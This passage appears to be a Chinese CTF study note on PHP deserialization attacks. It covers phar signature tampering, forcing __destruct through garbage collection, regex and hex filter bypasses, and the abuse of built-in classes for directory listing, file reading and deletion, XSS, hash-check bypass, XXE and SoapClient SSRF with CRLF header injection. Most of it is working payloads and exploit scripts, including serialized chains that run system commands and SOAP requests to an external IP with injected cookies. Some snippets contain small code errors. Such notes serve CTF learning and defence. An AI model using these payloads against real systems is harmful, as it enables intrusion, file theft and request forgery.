(pahr默认使用sha1加密就是有20字节的签名生成结果, 在签名后面还有8字节,前4字节表示文件使用的签名算法,最后四字节固定用于表示该文件存在签名)

phar文件内容=数据段+签名(默认sha1有20字节大小)+签名方式(4字节)+声明文件有无签名(4字节)

除了sha1之外phar还可以使用 MD5, SHA256, SHA512, OpenSSL生成签名

签名是前面全部数据段的内容根据加密算法加密得到的结果

所以当我们想要利用phar触发反序列化但是上传的文件在头部被添加了脏数据的话我们可以通过以下方法构造可利用的phar文件:

  1. 先生成正常的的.pahr文件
  2. 往文件头部添加脏数据
  3. 使用上面代码改正签名
  4. 使用010editor将头部的脏数据删除
  5. 上传文件

GC强制回收

__dustruct执行条件

1:对象为null
2:生命周期结束的时候
3:当一个对象被unset (GC)

由此

如果程序走了一半,突然报错,那么__destruct()不会触发了,那如果又必须要__destruct()触发,又该如何操作呢?

PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。

垃圾,顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就不会出现无法调用__destruct()方法了。

具体原理可查看php官方解答PHP: 回收周期(Collecting Cycles) - Manual

接下来用演示代码演示GC的实际工作原理

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
$this->num = $num;
echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}

new errorr(1);
$a = new errorr(2);
$b = new errorr(3);
?>

此时结果:

image-20240312201424971

如图,

new了一个errorr对象,屁股还没坐热就__destruct()了。后面的两个对象则是按部就班先创建完没有操作了以后才结束的。

区别就在于对象1没有任何引用也没有指向,在创建的那一刻就被当作垃圾回收了,从而触发了__destruct()方法。

进而,如果没有指向可以,那如过在指向一个对象的中途忽然指向另一个,也就是舍弃了该对象又会怎么样。

image-20240312201642801

仍然触发了__destruct

但若注销了$c[0]=$c[1]

image-20240312201830825

如图 正常创建,最后销毁

当一个对象没有任何引用的时候,则会被视为“垃圾”,即

$a = new test();

test 对象被 变量 a 引用, 所以该对象不是“垃圾”,而如果是这样

new test();
或这样

$a = new test();
$a = 1;

这样在 test 在没有被引用或在失去引用时便会被当作“垃圾”进行回收,触发__destruct。

这就是GC回收的大致理解

所以例:

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr0{
public $num;
public function __destruct(){
echo "hello __destruct";
echo $this->num;
}
}
class errorr1{
public $err;
public function __toString()
{
echo "hello __toString";
$this->err->flag();
}
}

class errorr2{
public $err;
public function flag()
{
echo "hello __flag()";
eval($this->err);
}
}


$a=unserialize($_GET['url']);
throw new Exception("就这?");

?>

明显

首端 –> errorr0::__destruct() –> errorr1::__toString() –> errorr2::flag() –>尾巴。

<?php

error_reporting(0);
class errorr0{
public $num;
public function __construct()
{
$this->num = new errorr1();
}

}
class errorr1{
public $err;
public function __construct()
{
$this->err = new errorr2();
}
}

class errorr2{
public $err = "phpinfo();";
}

$a = new errorr0();
echo serialize($c);
?>

但是 如果没有这句**throw new Exception();就真的构造完了,但是有的话__destruct()是不会执行的,而__destruct()**不执行这条链子根本就是堵死的,没啥用

根据之前说的GC回收机制可以把一段数据当做垃圾回收,那不就可以执行**__destruct(),然后就有一个问题——-如何触发GC回收机制**?!!还记得,之前举过的例子吗?如过没有如何东西指向一个对象,那个对象就会被当作垃圾回收。所以,我们先看修改后的exp

<?php

error_reporting(0);
class errorr0{
public $num;
public function __construct()
{
$this->num = new errorr1();
}

}
class errorr1{
public $err;
public function __construct()
{
$this->err = new errorr2();
}
}

class errorr2{
public $err = "phpinfo();";
}

$a = new errorr0();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

明显

就加了一行代码

$c = array(0=>$a,1=>NULL);

$c = array(0=>$a,1=>0); 然后再改一下 如下 也可以

把目标对象赋给键为0,键为1赋值为NULL。为什么要这么做,因为这样操作后,得到的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;i:0;} 这是结果 但是只有还是不行 还要再改一下
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;i:0;} 将1改成0 就可以了 原理是一样的

第一个a为数组,2为数组中键有两个 i = 0以及 i = 1

重点重点重点,虽然有两个键i = 0对应的是我们目标对象,i = 1是NULL,如果这个时候我们做一件坏事,把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。

所以最后我们修改后的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}

image-20240312202655182

成功

GC回收机制的利用需要修改字符串中的数据,如果phar反序列化+GC的话就还需要额外修改phar文件的签名,如果遇到的话就需要在修改序列化字符串后再对其进行加密得到的数据替换原本的签名。

bypass绕过

__wakeup绕过

见上文

__destruct绕过

见上文 GC强制回收

快速触发__destruct

Fast destruct

1.修改序列化数字元素个数

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
改成
O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}

image-20240205180429122

O:5:”Start”:2:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}}

image-20240205180917410

2.去掉序列化尾部 }

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
改成
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}

image-20240205181044938

O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}

image-20240205181123821

详见newstar web week4 morefast

正则绕过

如preg_match(‘/^O:\d+/‘)匹配序列化字符串是否是对象字符串开头

  • 利用加号绕过(注意在url里传参时+要编码为%2B)。
  • 利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)。
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}

function match($data){
if (preg_match('/^O:\d+/',$data)){
die('nonono!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// 将对象放入数组绕过 serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

引用绕过

见上文

16进制绕过字符的过滤

序列字符串中表示字符类型的s大写时,会被当成16进制解析

<?php
class test{
public $username;
public function __construct(){
$this->username = 'admin';
}
public function __destruct(){
echo 'success';
}
}
function check($data){
if(preg_match('/username/', $data)){
echo("nonono!!!</br>");
}
else{
return $data;
}
}
// 未作处理前,会被waf拦截
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 将小s改为大S; 做处理后 \75是u的16进制, 成功绕过
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);

phar的绕过

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过。

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt

也可以利用其他协议

php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式验证可以通过在文件头部添加GIF89a绕过。

 $phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
//生成一个phar.phar,修改后缀名为phar.gif

过滤了__HALT_COMPILER()

1.将phar文件进行gzip压缩 ,使用压缩后phar文件同样也能反序列化 (常用)

2.将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过

$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();

原生类

介绍

PHP 原生类指的是 PHP 内置的类,它们可以直接在 PHP 代码中使用且无需安装或导入任何库,相当于代码中的内置方法例如echo ,print等等可以直接调用,但是原生类就是可以就直接php中直接创建的类,我们可以直接调用创建对象,但是这些类中有的会有魔术方法,为此,我们可以创建原生类去利用其中的魔术方法来达到我们反序列化的利用。

通过代码直接获取原生类和相关魔术方法

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}

}
?>

结果:

image-20240312220217278

截不完

不同版本的PHP其中包含的原生类不同,为了使用到较全的php原生类,建议将php的版本调到7.0以上

常用原生类使用

DirectoryIterator()

使用DirectoryIterator()类可以遍历目录下的文件名

<?php
highlight_file(__file__);
$dir=$_GET['cmd'];
$a=new DirectoryIterator($dir);
foreach ($a as $f){
echo($f->__toString().'<br>');
}//不加__toString也可以,因为echo可以自动调用
?>

image-20240313195328587

传入./就会查看到当前目录下的文件

同理使用../可以查看上级目录下的文件

使用绝对路径亦可以查看服务器指定目录下的文件目录

image-20240313195050576

foreach是遍历目录关键

没有foreach就只遍历第一个字符

<?php
highlight_file(__file__);
$dir=$_GET['cmd'];
$a=new DirectoryIterator($dir);
echo $a;

image-20240313195401536

回显.htaccess的.

也可以使用glob和file协议读取文件内容

glob://*.php

FilesystemIterator

FilesystemIterator是继承于DirectoryIterator的类,两者作用和用法基本相同,区别为FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名

<?php
highlight_file(__FILE__);
$dir=new FilesystemIterator("./");
echo $dir;
foreach($dir as $f){
echo $f.'<br>';
}
foreach($dir as $f){
echo $dir->current().'<br>';
//是$dir不是$f
}

第一个foreach是继承的DirectoryIterator()的魔术方法__toString,

而第二个foreach是FilesystemIterator的为了达成上一个foreach的效果的魔术方法current()

image-20240313200737925

也可以使用glob协议

在php4.3以后使用了zend_class_unserialize_deny来禁止一些类的反序列化,很不幸的是这两个原生类都在禁止名单当中

GlobIterator

<?php
$dir=new GlobIterator("*.php");
foreach($dir as $f){
echo $f.'<br>';
}

与之前两个类的作用和使用方法类似,不同点在于其行为类似于glob(),可以通过模式匹配来寻找文件路径(前两个需要利用glob://协议才可以模式匹配)

image-20240313202150331

绕过open_basedir

open_basedir限制目录:将PHP所能打开的文件限制在指定目录树,包括文件本身

使用DirectoryIterator()和FilesystemIterator的glob://协议可以无视open_basedir对目录的限制,可以用来列举出指定目录下的文件,使用GlobIterator也是一样的

<?php
ini_set('open_basedir','指定目录');
$dir1=$_GET['1'];
$a=new DirectoryIterator($dir1);
foreach($a as $f){
echo $f.'<br>';
}
$dir2= $_GET['2'];
$a=new GlobIterator($dir2);
foreach($a as $f){
echo $f.'<br>';
}

SplFileObject()

利用SplFileObject()进行文件内容的读取

<?php
highlight_file(__file__);
$file=$_GET['f'];
$context = new SplFileObject($file);
foreach($context as $f){
echo($f);
}
?>

image-20240313200156343

php文件要到源码中查看(ctrl U)

同理 没有foeach则只回显一行

绝对路径也可

也可:

<?php
$file=new SplFileObject(__FILE__);
foreach($file as $k ->$line){
echo ($file->key()+1).':'.$file->current();
}

ZipArchive()

利用ZipArchive()进行文件删除

<?php
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
?>

image-20240313204731187

文件已删除

<?php
$zip = new ZipArchive();
$res - $zip->open('test.zip',ZipArchive::OVERWRITE);
?>

删除了test.zip文件,

ZipArchive::OVERWRITE:总是以一个新的压缩包开始,在此模式下如果已经存在则会被覆盖,这是一个常数项,值为8

ReflectionMethod

利用ReflectionMethod获取注释的内容

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容

<?php
class Apple{
public $var1;
public $var2 = 'orange';
/**
this is DocComment
*/
public function type(){
return 'Apple';
}
}
$ref = new ReflectionMethod("Apple","type");
var_dump($ref->getDocComment());

注释文本需符合/**开头的规范否则无法识别

image-20240313210010722

ReflectionMethod(“Apple”,”type”);

在Apple类中type方法前的注释

Error

Error 是所有PHP内部错误类的基类。 (PHP 7, 8)

在开启报错的情况下

**Error::__toString ** error 的字符串表达

类属性

  • message 错误消息内容
  • code 错误代码
  • file 抛出错误的文件名
  • line 抛出错误的行数

Error内置有一个__toString()的方法,可以产生xss漏洞

<?php
$a = unserialize($_GET['a']);
echo $a;
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);

将第二个输出结果赋值给第一个代码的a

image-20240313210909018

返回 Error 的 string表达形式。

image-20240313211614294

Exception

Exception与Error同理

Exception是所有用户级异常的基类。 (PHP 5, 7, 8)

**Exception::__toString ** 将异常对象转换为字符串

类属性

  • message 错误消息内容
  • code 错误代码
  • file 抛出错误的文件名
  • line 抛出错误的行数

同样也有xss漏洞

<?php
$a = unserialize($_GET['whoami']);
echo $a;
<?php
$a = new Exception("<script>alert('text')</script>");
$b = serialize($a);
echo urlencode($b);

同样将2赋值给1

image-20240313211434419

返回转换为字符串(string)类型的异常。

image-20240313211519361

绕hash

利用Error和Exception

先看一下输出

<?php
$a=new Error("payload",1);
$b=new Error("payload",2);
$c=new Exception("payload",3);

$d=new Exception("payload",4);

echo $a."<br>";

echo $b."<br>";

echo $c."<br>";

echo $d;

image-20240313212715298

Error: payload in /box/script.php:2
Stack trace:
#0 {main}
Error: payload in /box/script.php:3
Stack trace:
#0 {main}
Exception: payload in /box/script.php:4
Stack trace:
#0 {main}
Exception: payload in /box/script.php:6
Stack trace:
#0 {main}

两个编译器编译后 对比发现这两个原生类返回的信息除了行号一模一样

利用这点,我们可以尝试进行hash函数的绕过,需要注意的是,必须将两个传入的对象放到同一行

因此我们可以进行简单的测试,发现使用此方法可以绕过hash强(弱)函数比较

<?php
$a = new Error("payload",1);
$b = new Error("payload",2);
if ($a!=$b){
echo '$a不等于$b'."\n";
}
if (md5($a)===md5($b)){
echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
echo "sha1值相等";
}

image-20240313213054499

没有问题

例:

[2020 极客大挑战]Greatphp

<?php
error_reporting(0);
class SYCLOVER {

public $syc;

public $lover;

public function __wakeup(){

if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){

if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){

eval($this->syc);

} else {

die("Try Hard !!");

}



}

}}if (isset($_GET['great'])){

unserialize($_GET['great']);} else {

highlight_file(__FILE__);}

需要绕过两个hash强比较,且最终需要构造eval代码执行

显然正常方法是行不通的,而通过原生类可进行绕过

同样,当md5()和sha1()函数处理对象时,会自动调用__tostring方法

payload:

<?php
class SYCLOVER {

public $syc;

public $lover;

public function __wakeup(){

if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){

if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){

eval($this->syc);

} else {

die("Try Hard !!");

}



}

}}$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则$a=new Error($str,1);

$b=new Error($str,2);

$c = new SYCLOVER();$c->syc = $a;$c->lover = $b;

echo(urlencode(serialize($c)));?>

SimpleXMLElement

SimpleXMLElement可解析XML 文档中的元素。 (PHP 5、PHP 7、PHP 8)

利用实例化该类的对象来传入xml代码进行xxe攻击,进而读取文件内容和命令执行

SimpleXMLElement::__construct — 创建一个新的 SimpleXMLElement 对象

参数:
image-20240313213919494

根据官方文档,发现当第三个参数为True时,即可实现远程xml文件载入,第二个参数的常量值设置为2即可。

<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "url">%remote;]>
]>
<x>&xee</x>
EOF;
$xml_clss=new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>

LIBXML_NOENT也是一个常数

参考赛题:[SUCTF 2018]Homework

SoapClient

SoapClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端,可以创建soap数据报文,与wsdl接口进行交互

soap:

SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换

SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

soap扩展模块默认关闭,使用时需手动开启,php.ini配置文件里面开启extension=php_soap.dll选项

SoapClient::__call —调用 SOAP 函数 (PHP 5, 7, 8)

通常,SOAP 函数可以作为SoapClient对象的方法调用

由此 可利用这个类进行ssrf

构造函数
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

由此:

<?php

$a = new SoapClient(null, array(

'location' => 'http://xxx.xxx.xxx:3333/index.php',

'uri' =>'http://xxx.xxx.xxx:3333',

'user_agent'=>'111111'));

$b = serialize($a);

echo $b;

$c = unserialize($b);

$c->a();//$c->nofun();
//随便调用对象中不存在的方法,触发__call方法进行ssrf
?>

image-20240313220612243

监听:

image-20240313220643842

可以看到 SOAPAction和user_agent都可控

本地测试时发现,当使用此内置类(即soap协议)请求存在服务的端口时,会立即报错,而去访问不存在服务(未占用)的端口时,会等待一段时间报错,可以以此进行内网资产的探测。

同时还可以配合CRLF漏洞

可以通过 SoapClient 来控制其他参数或者post发送数据。例如:HTTP协议去攻击Redis

CRLF:

HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。
CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。
攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。

通过结合CRLF,我们利用SoapClient+CRLF便可以干更多的事情,例如插入自定义Cookie,

<?php
$a = new SoapClient(null, array(

'location' => 'http://47.102.146.95:2333',

'uri' =>'uri',

'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a"));

$b = serialize($a);echo $b;$c = unserialize($b);$c->a();

image-20240313220940648

发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type

<?php
$a = new SoapClient(null, array(

'location' => 'http://47.102.146.95:2333',

'uri' =>'uri',

'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));

$b = serialize($a);echo $b;$c = unserialize($b);$c->a();

image-20240313221037193

参考赛题:ctfshow上的题

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);

array_pop($xff);

$ip = array_pop($xff); //获取xff头





if($ip!=='127.0.0.1'){

die('error');

}else{

$token = $_POST['token'];

if($token=='ctfshow'){

file_put_contents('flag.txt',$flag);

}

}

poc

<?php

$target = 'http://127.0.0.1/flag.php';

$post_string = 'token=ctfshow';

$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));

$a = serialize($b);

$a = str_replace('^^',"\r\n",$a);

echo urlencode($a);

?>